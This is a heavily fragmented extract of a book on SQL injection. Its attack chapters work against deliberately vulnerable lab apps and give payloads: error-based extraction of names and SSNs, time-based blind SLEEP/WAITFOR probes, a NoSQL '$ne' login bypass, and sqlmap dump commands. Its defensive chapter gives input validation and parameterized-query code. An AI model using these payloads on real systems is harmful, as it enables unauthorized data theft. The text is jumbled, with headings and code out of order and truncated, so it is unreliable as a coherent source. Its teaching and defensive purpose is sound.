SQL-Injection-Strategies RuLit Me 645424
SQL-Injection-Strategies RuLit Me 645424
1. Technical requirements
2. An overview of SQL – a relational query language
1. Technical requirements
2. Exploitable SQL commands and syntax
1. Technical requirements
2. Understanding the practical approach and introducing
the main tools
1. Virtualization software
2. Kali Linux
8. Summary
9. Questions
1. Technical requirements
2. Attacking traditional web applications– manual
techniques
1. Attacking Mutillidae II
2. The Magical Code Injection Rainbow
3. Attacking Peruggia
3. Attacking traditional web applications – automated
techniques
1. Technical requirements
2. Understanding general weaknesses and SQL injection
enablers
3. Treating user input
4. Sanitization and input control
5. Defending against SQL injection – code-level defenses
1. Input validation
2. Parametrized queries
3. Character encoding and escaping
4. Secure coding practices
7. Summary
8. Questions
4. Summary
5. Questions
16. Assessments
1. Chapter 1
2. Chapter 2
3. Chapter 3
4. Chapter 4
5. Chapter 5
6. Chapter 6
Landmarks
1. Cover
2. Table of Contents
BIRMINGHAM—MUMBAI
Livery Place
35 Livery Street
Birmingham
B3 2PB, UK.
ISBN 978-1-83921-564-3
www.packt.com
– Ettore Galluccio
– Edoardo Caselli
To my family and my lovely girlfriend, Alessia; thank
you for always supporting and encouraging me to step
out of my comfort zone and take on new challenges.
– Gabriele Lombari
Packt.com
Why subscribe?
Spend less time learning and
more time coding with practical
eBooks and videos from over
4,000 industry professionals
Contributors
AN OVERVIEW OF SQL – A
RELATIONAL QUERY LANGUAGE15
QUESTIONS29
Chapter 2: Manipulating SQL –
Exploiting SQL Injection
TECHNICAL REQUIREMENTS32
SQL INJECTION-ENABLING
CHARACTERS33
WRAPPING UP – (NO-)SQL
INJECTION IN THEORY51
SUMMARY54
QUESTIONS55
Section 2: SQL Injection in Practice
Chapter 3: Setting Up the
Environment
TECHNICAL REQUIREMENTS60
VIRTUALIZATION SOFTWARE61
KALI LINUX63
SUMMARY90
QUESTIONS90
Chapter 4: Attacking Web, Mobile,
and IoT Applications
TECHNICAL REQUIREMENTS92
ATTACKING PERUGGIA110
SUMMARY141
QUESTIONS142
FURTHER READING142
Chapter 5: Preventing SQL
Injection with Defensive Solutions
TECHNICAL REQUIREMENTS144
UNDERSTANDING GENERAL
WEAKNESSES AND SQL INJECTION
ENABLERS 145
INPUT VALIDATION150
PARAMETRIZED QUERIES153
CHARACTER ENCODING AND
ESCAPING156
APPLICATION-LEVEL FIREWALL
LOGIC161
SUMMARY167
QUESTIONS168
Chapter 6: Putting It All Together
SQL INJECTION – THEORY IN
PERSPECTIVE 170
SUMMARY188
QUESTIONS188
Assessments
CHAPTER 1189
CHAPTER 2189
CHAPTER 3190
CHAPTER 4191
CHAPTER 5191
CHAPTER 6192
An Android development
environment (Android Studio
IDE, Android SDK—API Level
30 and an Android Virtual
Device)
1. Log in or register at
www.packt.com.
Code in Action
Code in Action videos for this book can be viewed at
https://bit.ly/3fioIHt.
Conventions used
There are a number of text conventions used throughout
this book.
<soapenv:Header/>
<soapenv:Body>
<urn:getUser
soapenv:encodingStyle="http://schemas.xm
lsoap.org/soap/encoding/">
<username
xsi:type="xsd:string">username_here</use
rname>
</urn:getUser>
</soapenv:Body>
</soapenv:Envelope>
Get in touch
Feedback from our readers is always welcome.
Reviews
Please leave a review. Once you have read and used this
book, why not leave a review on the site that you
purchased it from? Potential readers can then see and
use your unbiased opinion to make purchase decisions,
we at Packt can understand what you think about our
products, and our authors can see your feedback on their
book. Thank you!
An overview of SQL – a
relational query language: A
preliminary overview of SQL,
our main language of reference
that SQL injection is
traditionally based on, and the
relational model versus other
DBMS models.
Technical requirements
For this chapter and the next, the topics we will cover
will mostly be theoretical. However, we suggest that you
read the SQL technical documentation. Here, we have
provided, for reference, the MySQL, Oracle, and
Microsoft SQL Server documentation:
https://dev.mysql.com/doc/ref
man/8.0/en/
https://docs.oracle.com/en/data
base/oracle/oracle-
database/index.html
https://docs.microsoft.com/en-
us/sql/sql-server/?view=sql-
server-ver15
An overview of SQL – a relational
query language
One of the most common ways to keep data memorized
in computer systems is by relying on databases.
Databases can be seen as large software containers that
can hold lots of information in a structured and
accessible way, in order to optimize how to store data
and access their operations.
RELATIONAL DATABASES
Relational databases have been widely considered as a
standard due to their many advantages. Data is collected
in tables, in which rows represent objects, memorized as
records, and columns represent their attributes. The
name is derived from the way in which data can be
correlated and connected, that is, through relations
based on common attributes among tables. Thus, the
concept of relational algebra becomes relevant as it
describes the way in which, through a structured
procedural language, data tables can be managed. SQL is
the most popular representative of this model as it takes
advantage of most of the concepts of relational algebra,
thus providing a model that is easy to use by anyone
without any coding experience, while maintaining its
overall efficiency:
NON-RELATIONAL DATABASES
No-rel, which stands for non-relational, databases are
a family of DBMS models considered as an alternative to
the relational model and are usually much more
prominent among database systems. Originally, the term
NoSQL was used to define this family of systems, but it
was considered misleading: some of the first attempts at
building non-relational databases actually used some
concepts of the relational model. No-rel databases
include many models, some of which are as follows:
Graph-based databases
highlight the connections among
data using a graph-like navigable
structure:
Document-based databases
describe data within documents
containing key-value pairs,
specify the way in which data is
memorized and managed, and
provide a flexible approach that
does not rely on a defined
schema. Document-based
models can usually include
embedded objects as collections
within a single key, as shown in
the following image:
Figure 1.5 – A document-based model schema
that can represent the ownership relationship
MYSQL
MySQL is an open source version of SQL that's used in
many web application frameworks and famous websites.
It is considered one of the main representatives of SQL
technologies, as well as an overall well-performing
implementation.
/*comment*/
information_schema (only
available from MySQL version 5
onward)
SQLITE
SQLite provides a different approach by presenting an
implementation that is directly embedded in the
application code, without the client-server architecture
being used. While it is recommended for lightweight
applications, such as mobile apps, it may have some
shortcomings due to some intrinsic simplifications.
ORACLE DATABASE
Oracle Database, often referred to as just Oracle, is one
of the main proprietary SQL systems. Despite being born
as a SQL relational DBMS, it started supporting different
models over time. Thus, it is considered a multi-model
DBMS.
SYSTEM
SYSAUX
/*comment*/
--
%00
pubs
model
msdb
tempdb
northwind
information_schema (from
MSSQL Server 2000 onward)
MSSQL allows the use of the @@VERSION command for
retrieving the database system version.
- SQLite is designed to be a
standalone version of SQL,
storing the database in the same
filesystem as the client
application that's running. It
uses the basic SQL syntax
without major differences.
Summary
So, to sum this up, let's take a look at what we covered in
this chapter. SQL works using relationships, and it
accepts a wide range of commands. We've also seen that,
in general, some of these can be abused by malicious
attackers. For this reason, we should keep security in
mind when designing and developing applications that
rely on databases. This chapter gave you a taste of the
main security issues and possible solutions.
Questions
1. What is a database?
This chapter will lay the foundation for the practical part,
which will instead focus on the execution of SQL
injection attacks in a controlled setup, putting into
practice what we will see in this part.
Technical requirements
For this chapter, we recommend that you are familiar
with SQL and its main commands. If you have not
already done so, we suggest reading the SQL technical
documentation from the previous chapter, available at
the following links:
https://dev.mysql.com/doc/ref
man/8.0/en/
https://docs.oracle.com/en/data
base/oracle/oracle-
database/index.html
https://docs.microsoft.com/en-
us/sql/sql-server/?view=sql-
server-ver15
C: CHECK constraint
D: Default or DEFAULT
constraint
L: Log
P: Stored procedure
S: System table
TR: Trigger
U: User table
UQ: UNIQUE constraint (type is
K)
V: View
ORACLE DATABASE
As for Oracle Database, despite it having default tables
and databases too, results could be a bit more limited
with respect to MySQL and Microsoft SQL Server, as
enumeration (as we have seen before) is not completely
possible due to its structure. However, fear not: much
information could still be obtained from an Oracle
Database, despite having access.
SELECT
table_schema,table_name,column_name FROM
information_schema.columns
WHERE table_name = 'wp_users'
SELECT
ID,display_name,user_login,user_pass
FROM wordpress.wp_users
SUBSTRING(fieldname,1,1)= 'x'
SLEEP(15)
WAITFOR DELAY(0:0:15)
WAITFOR TIME(9:0:15)
SELECT
UTL_INADDR.get_host_name('10.10.10.10')
FROM dual
SELECT IF SUBSTRING(fieldname,1,1)='x'
SLEEP(15)
db.collection('users').find({
"user": req.query.user,
"password": req.query.password
});
db.collection('users').find({
"user": "admin",
});
Host: targetsite.org
Content-Type: application/x-www-form-
urlencoded
Content-Length: 27
user=admin&password[%24ne]=
Being just text, the content could also be written in a
JSON format request, as follows:
Host: targetsite.org
Content-Type: application/json
Content-Length: 36
Obtaining undisclosed
information about the database
or its content, through database
exploration or inference
techniques
Summary
To recap, in this chapter, we saw that SQL can be
exploited to insert malicious code, using specific
constructs and symbols. Some of these can be
particularly useful for gathering information, but also for
gaining privileged access to applications and databases
themselves.
Questions
1. How is it usually possible to
trigger SQL injection?
As the client part will be mostly the same both for web
application attacks and emulated devices, the first step
will be configuring this machine.
Technical requirements
Despite involving strictly practical matters, there are no
particular prerequisites for this chapter. However, we
recommend familiarizing yourself with the main tools we
will be using. All of these are free to use, so don't worry
about costs. Here are the links to the tools:
https://www.virtualbox.org/
https://www.kali.org/docs/
https://owasp.org/www-project-
broken-web-applications/
https://developer.android.com/
studio
https://www.eclipse.org/
Virtualization software
The first piece of our set of tools is made of virtualization
software. Virtualization is the process of emulating
hardware resources (that is, a computer system) totally
through software. An emulated machine is called a VM
and has, virtualized as software, the same components a
computer would have, all by using the hardware
resources of the host system through the emulation
software.
VMware Workstation—VM
emulation industry-standard
software provided by VMware.
The free version is partially
limited in functionality and can
only be run on a single VM at a
time. This is illustrated in the
following screenshot:
Figure 3.1 – VMWare Workstation main web
page
Oracle VirtualBox – VM
emulation software by Oracle,
freely available and easy to use
for generic purposes (available at
www.virtualbox.org). This is
illustrated in the following
screenshot:
Kali Linux
Kali Linux is a Debian Linux distribution specifically for
ethical hacking, penetration testing, and, in general,
information security. Kali Linux is well known among
information security experts because it offers a large
selection of security tools that can be used to perform
security testing and simulate cyberattacks. This array of
tools is so popular and complete that it is even used by
malicious attackers. We can't stress this enough: as
ethical hackers, tests are to be performed exclusively on
targets for which explicit consent of the owner has been
agreed upon. This includes, of course, possible targets
that the attacker themselves owns and intends to use in
order to perform tests. For this reason, the simplest
configuration is based on the use of a VM running this
specific version of the Linux operating system, so that it
can be used in the same virtualized environment of the
emulated targets, whether they may be web applications
or other targets.
https://sourceforge.net/projects/owaspbwa/files/
https://owasp.org/www-project-broken-web-
applications/migrated_content
After the download, move the file in the lib folder of the
Apache Tomcat installation folder (usually, C:\Program
Files\Apache Software Foundation\Tomcat
9.0\lib).
So, to sum it up: you can have all your targets running on
your computer and perform all your tests without the
need for physical machines or extra devices. However, in
case you have constraints dictated by your machines
such as limits for main memory, we recommend trying
each of the scenarios separately in order not to overload
your computer with too many virtualizations at once.
However, systems settings for your VMs can be adjusted
in accordance with your needs.
Summary
In this chapter, we set up the lab environment we need
for running our tests. Here's a brief checklist of what we
set up so far, with a recap of the tools we will be using.
Questions
1. What is virtualization software?
Why do we need it for our
practical section?
Technical requirements
For this very practical chapter, we strongly recommend
that you familiarize yourself with the main tools
involved. We recommend the following resources,
including the references from the previous chapter:
https://www.virtualbox.org/
https://www.kali.org/docs/
https://owasp.org/www-project-
broken-web-applications/
https://developer.android.com/
studio
https://www.eclipse.org/
https://www.kali.org/docs/
https://github.com/sqlmapproje
ct/sqlmap
https://www.zaproxy.org/
https://owasp.org/www-project-
broken-web-applications/
Attacking Mutillidae II
Our first target is kind of a warm-up—Mutillidae II is
an application designed to provide a test environment for
SQL injection using an educational approach, also
providing some hints about possible attacks that can be
executed. You can access the SQL Injection section by
going through the drop-down menu on the left (OWASP
2013 | A1 - injection (SQL)):
http://192.168.56.101/mutillidae/index.p
hp?page=user-
info.php&username=a&password=b&user-
info-php-submit-
button=View+Account+Details
http://192.168.56.101/mutillidae/index.p
hp?page=user-
info.php&username='&password=b&user-
info-php-submit-
button=View+Account+Details
Let's now move on to the last SQL injection form type for
this application.
'AND
ExtractValue('randomxml',CONCAT('=',
(SELECT CONCAT(name,'-',ssn) FROM ssn
LIMIT 1 OFFSET 0)))='x
The payload worked as intended, and the query result is
shown as an XPATH syntax error. We only need to iterate
the query with all of the remaining offsets, and we can
extract the entirety of the table's contents through error
messages:
Attacking Peruggia
As stated in Chapter 3, Setting Up the Environment,
Peruggia is a purposely vulnerable web app that mimics
the behavior of a regular (despite possibly dated) web
application. In this case, we won't have tutorials or
challenges, but it's just us and the application, with no
hints or help whatsoever:
Figure 4.31 – The Peruggia home screen
Now we will try to insert the correct SQL syntax and see
whether it's evaluated by the application. Let's try
inserting 123456789 OR 1=1 into our address bar as
the pic_id parameter. We can see that, even if we insert
the wrong ID, we visualized the picture present with ID 1
anyway. This proves that the parameter evaluates SQL
input, and, therefore, is vulnerable to SQL injection:
Figure 4.37 – The pic_id parameter is vulnerable
to SQL injection
You can insert any list of inputs and also apply special
encoding. This served as a demonstration in case you
wish to attempt more customized attacks. However, keep
in mind that the Scanner module already performs
fuzzing attacks with common inputs, used for identifying
common vulnerabilities.
sqlmap -u
"192.168.56.101/peruggia/index.php?
action=comment&pic_id=1" –-dbs
sqlmap -u
"http://192.168.56.101/mutillidae/index.
php?page=view-someones-blog.php" --
data="author=6C57C4B5-B341-4539-977B-
7ACB9D42985A&view-someones-blog-php-
submit-button=View+Blog+Entries" --
level=1 --dump
<soapenv:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSch
ema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSch
ema"
xmlns:soapenv="http://schemas.xmlsoap.or
g/soap/envelope/" xmlns:urn="urn:ws-
user-account">
<soapenv:Header/>
<soapenv:Body>
<urn:getUser
soapenv:encodingStyle="http://schemas.xm
lsoap.org/soap/encoding/">
<username
xsi:type="xsd:string">username_here</use
rname>
</urn:getUser>
</soapenv:Body>
</soapenv:Envelope>
<account>
<username>admin</username>
<signature>g0t r00t?
</signature>
</account>
<account>
<username>adrian</username>
<signature>Zombie Films
Rock!</signature>
</account>
IoT has been a hot topic recently, and many are investing
in these practical technologies, which help to integrate
technology in the everyday world. However, at the same
time, security has sometimes been neglected in these
systems. This is probably due to the limited resources
that are available on such devices. This includes the
possibility that some devices that use information from a
database can be, affected by SQL injection.
Important note
Practice these skills in controlled environments only,
without involving third parties. The use of security tools
and attack techniques is illegal without the consent of
the owner of the targets, so you could get yourself in
trouble if you try these techniques on websites or
systems you don't own.
Summary
So, here we are at the end of this long and practical
chapter. We've explored many different scenarios,
applications, and attacks that are made possible by
exploiting vulnerable application components that
interact with SQL databases.
Questions
1. Why is binary search useful
when performing blind SQL
injection?
Further reading
To explore attack vectors and further research on
INSERT, UPDATE, and DELETE statements, we suggest
the following resources:
https://osandamalith.com/2017
/02/08/mysql-injection-in-
update-insert-and-delete/
https://osandamalith.com/2014
/04/26/injection-in-insert-
update-and-delete-statements/
https://osandamalith.com/2017
/03/13/mysql-blind-injection-
in-insert-and-update-
statements/
Chapter 5: Preventing SQL
Injection with Defensive Solutions
Up until now, we have focused on the offensive aspect of
SQL injection. We saw how a malicious user can perform
main attack techniques in previous chapters, and what
consequences a successful SQL injection attack could
have. In a general sense, we saw how in principle, a SQL
injection can quite easily result in a fully compromised
database, which could leak sensitive information, give
attackers full access to connected applications, or totally
break the functionality of databases, applications, web
services, or even connected devices, independent of the
technology used.
Understanding general
weaknesses and SQL
injection enablers: After a
very brief recap of the general
weaknesses that make a SQL
injection possible, we will
analyze the nature of the
problem so that we can move to
the root cause.
Technical requirements
For this chapter, we strongly recommend familiarizing
yourself with the main technologies involved in SQL
injection scenarios. Besides going through the Technical
requirements sections of previous chapters, we
recommend taking a look at the documentation for some
of the programming languages commonly used in
conjunction with SQL so that we're on the same page
when talking about some solutions that can be adopted
in application development:
https://docs.oracle.com/en/java
/
https://www.php.net/manual/e
n/
https://docs.microsoft.com/en-
us/dotnet/
Understanding general
weaknesses and SQL injection
enablers
SQL is an immensely powerful and effective tool for
interacting with relational databases as it provides an
opportunity to perform various tasks through the wide
array of functions and commands available.
Unfortunately, from a security standpoint, this boon is
also a bane; allowing access to many different types of
operations means that if no control is in place, anyone
could potentially turn an application that utilizes
databases on its head, leaving malicious imagination as
the only limit to what attackers could achieve.
You can see that while some parts of the query have fixed
content, as delimited by double quotes, other parts are
made up of previously declared variables. You can
already tell where we are going now as you have already
seen a SQL injection in action. By inserting a malicious
payload into the query structure, attackers could in fact
make it possible to execute arbitrary commands as if they
were writing parts of the query themselves. In the attacks
we previously mentioned, it's enough for an attacker to
insert the malicious payload in place of the user_id
parameter, altering the structure of the query in doing
so. The resulting query, with respect to a tautology attack
for bypassing authentication, would be the following:
Input validation
Input validation is the process of accepting or rejecting
input based on its content. We only want safe input to be
processed by our application, preventing most of the
attacks against us. So, only valid input, according to our
rules, is accepted and processed by our application.
Validation follows two main approaches, which are also
common to other areas of information security:
String s = input;
if(s.contains("\'") OR s.contains("-")){
throw new
IllegalArgumentException("Illegal
input");
} else {
constructQuery(s);
String s = input;
if(s.matches("[[A-Z][a-zA-Z]*]"){
constructQuery(s);
} else {
throw new
IllegalArgumentException("Illegal
input");
$s = $_POST['input'];
if(preg_match("/\'/", $s) OR
preg_match("\-", $s)){
$s = $_POST['input'];
if(!preg_match("/[[A-Z][a-zA-Z]*]/", $s)
{
<asp:RegularExpressionValidator
id="inputRegEx" runat="server"
ControlToValidate="input"
ValidationExpression="[A-Z][a-zA-Z]*" />
Parametrized queries
Another way of defeating SQL injection is through the
use of so-called parameterized queries. The main
reasoning behind this is that input is never sent to the
database as it is—that is, as a string, as is the case in
dynamic string building—but it is instead serialized and
stored in separate parameters (hence the name).
User = request("username")
Pass = request("password")
Check = Db.Execute(Query)
If (Check) {
Login()
PreparedStatement ps =
con.prepareStatement(query);
ps.setString(1, user);
ps.setString(2, pass);
rs = ps.executeQuery();
$stmt = $dbh->prepare($query);
$stmt->bindParam(1, $user,
PDO::PARAM_STR);
$stmt->bindParam(2, $pass,
PDO::PARAM_STR);
$stmt->execute();
cmd.Parameters.Add("@user",
SqlDbType.NVarChar);
cmd.Parameters.Add("@pass",
SqlDbType.NVarChar);
cmd.Parameters.Value[„@user"] = user;
cmd.Parameters.Value["@pass"] = pass;
reader = cmd.ExecuteReader();
cmd.Parameters.Add("user", OracleType.V
arChar);
cmd.Parameters.Add("pass",
OracleType.VarChar);
cmd.Parameters.Value["user"] = user;
cmd.Parameters.Value["pass"] = pass;
reader = cmd.ExecuteReader();
mysql_real_escape_string($parameter);
INTRODUCING ADDITIONAL
ABSTRACTION LAYERS
When we talk about abstraction layers, we mean
different logical components, each devised to interact
with your application logic. General examples of
application layers are the presentation layer, which
incorporates the more graphical and interactive aspects
of the application, and the data access layer, designed to
interact with data separately from the core application
logic. Separating layers in an application generally
improves security as moving from one layer to another is
generally subject to more controls and makes applying
security measures much more linear and practical.
APPLICATION INTRUSION
DETECTION SYSTEMS
Aside from regular network-based Intrusion
Detection Systems (IDSes), which can be used to
identify cyberattacks in general and provide alerting
functionalities, WAFs can be used as an application-level
IDS to apply this concept directly to the specific
applications it protects.
The way this works is to use the WAF in passive mode so
that it can inspect the application request and send alerts
if suspicious requests are found. This way, network
administrators can be warned if a security incident
occurs, thereby acting in a timely fashion based on the
alert trigger.
DATABASE FIREWALLS
The last firewall we will consider is the database firewall.
A database firewall is basically a proxy server positioned
between the application and its database that inspects
the queries that are sent to it.
Enforcing authentication
and monitoring controls:
Finally, another way to prevent
attackers from causing damage
is by improving the security
controls relating to
authentication and monitoring.
This includes ensuring that
passwords are not weak by
enforcing a strong password
policy, disabling default
accounts (which are often
targeted by attackers as they
already know their username
and only need to guess the
password), and enabling logging
so that possible authentication
attempts are tracked, as well as
actions on the server itself.
REDUCING INFORMATION
DISCLOSURE
When performing offensive actions against an
application or a system, a malicious agent will always try
everything in their power to obtain as much information
as possible about your environment so that they can
attempt various attacks depending on the information
they obtain. Limiting the information that they can
access can effectively reduce their attack potential,
thereby minimizing the risk that your application will be
compromised. Here, we will present some areas in which
reducing leaked information can prove useful and might
effectively limit attackers' potential:
Questions
1. How should user input be
treated when designing an
application?
DAMAGING APPLICATION
FUNCTIONALITY
An attacker could use SQL injection to perform arbitrary
commands on the database by concatenating any
possible SQL command to an existing query string, then
using the semicolon to terminate statements. A very
simple but destructive case would be using a DROP
statement, or modifying information in a database, such
as login information, which could be vital for the
application's functionality. These totally arbitrary
commands are, however, in most cases, ineffective as
SQL usually supports a single query at a time. Multiple
queries, such as inline queries, tend not to be supported,
thus hindering this type of attack.
ESCALATING PRIVILEGES
SQL injection can also be used by malicious users to gain
higher privileges than they normally would have access
to, thus being able to abuse otherwise inaccessible
application functionalities.
NOSQL INJECTION
Finally, it is worth mentioning that despite SQL injection
being the most common case of database injection, this
vulnerability can also be of interest in terms of non-
relational databases.
MANUAL TECHNIQUES
By taking advantage of the OWASP BWA project, we
have been able to explore most of the attack techniques
we have previously seen in the theory section. This was
made possible by us selecting three specific web
applications, against which we could try a wide spectrum
of SQL injection attacks.
Our first target was the Mutillidae II web application,
which is a training web application for testing a wide
range of known vulnerabilities. Among these, SQL
injection was present too. We learned how to exploit
both SELECT statements, to retrieve arbitrary
information from the database, and INSERT statements,
to make it possible to extract information by creating
accounts within the application. These accounts have
been manipulated to include, within their information,
private data present in the database.
AUTOMATED TECHNIQUES
Another tool at our disposal is using specific software
tools that can help in verifying whether an application is
vulnerable to SQL injection in an automated way, saving
time during testing.
Broken authentication:
Authentication and user session
management are implemented
incorrectly, allowing attackers to
compromise applications by
gaining higher privileges than
intended or stealing user
identities.
Security misconfiguration:
The application and/or system
that users reside on is not
properly configured in terms of
security. This includes insecure
default configurations,
incomplete or ad hoc
configurations, and unnecessary
error messages.
Insecure deserialization:
Input is not processed correctly
and can be accepted as it is by
the application, thus possibly
resulting in remote code
execution or injection attacks.
Summary
Here we are, at the end of this journey. After dealing with
all the topics we've faced, but this time in a more
synthetic fashion, you grasped some topics regarding
information security and saw how even SQL injection,
which you have hopefully mastered as a topic, can be
relevant to the real world.
Now that you've reached the end of this book, feel free to
explore information security topics in general or keep
practicing in controlled environments. Our hope is that
this experience sparked curiosity in you, thus inviting
you to look at security topics in more detail.
You know what they say: with great power comes great
responsibility. Keep this in mind now that you've
mastered SQL injection.
Questions
1. What are security flaws,
including SQL injection, usually
caused by?
2. A relational database is a
database that uses tables to store
data. These tables model objects
and the relations among them,
as the name suggests.
Donald A. Tevault
ISBN: 978-1-83898-177-8
ISBN: 978-1-83921-641-1
Understand baselining and learn
the best practices for building a
baseline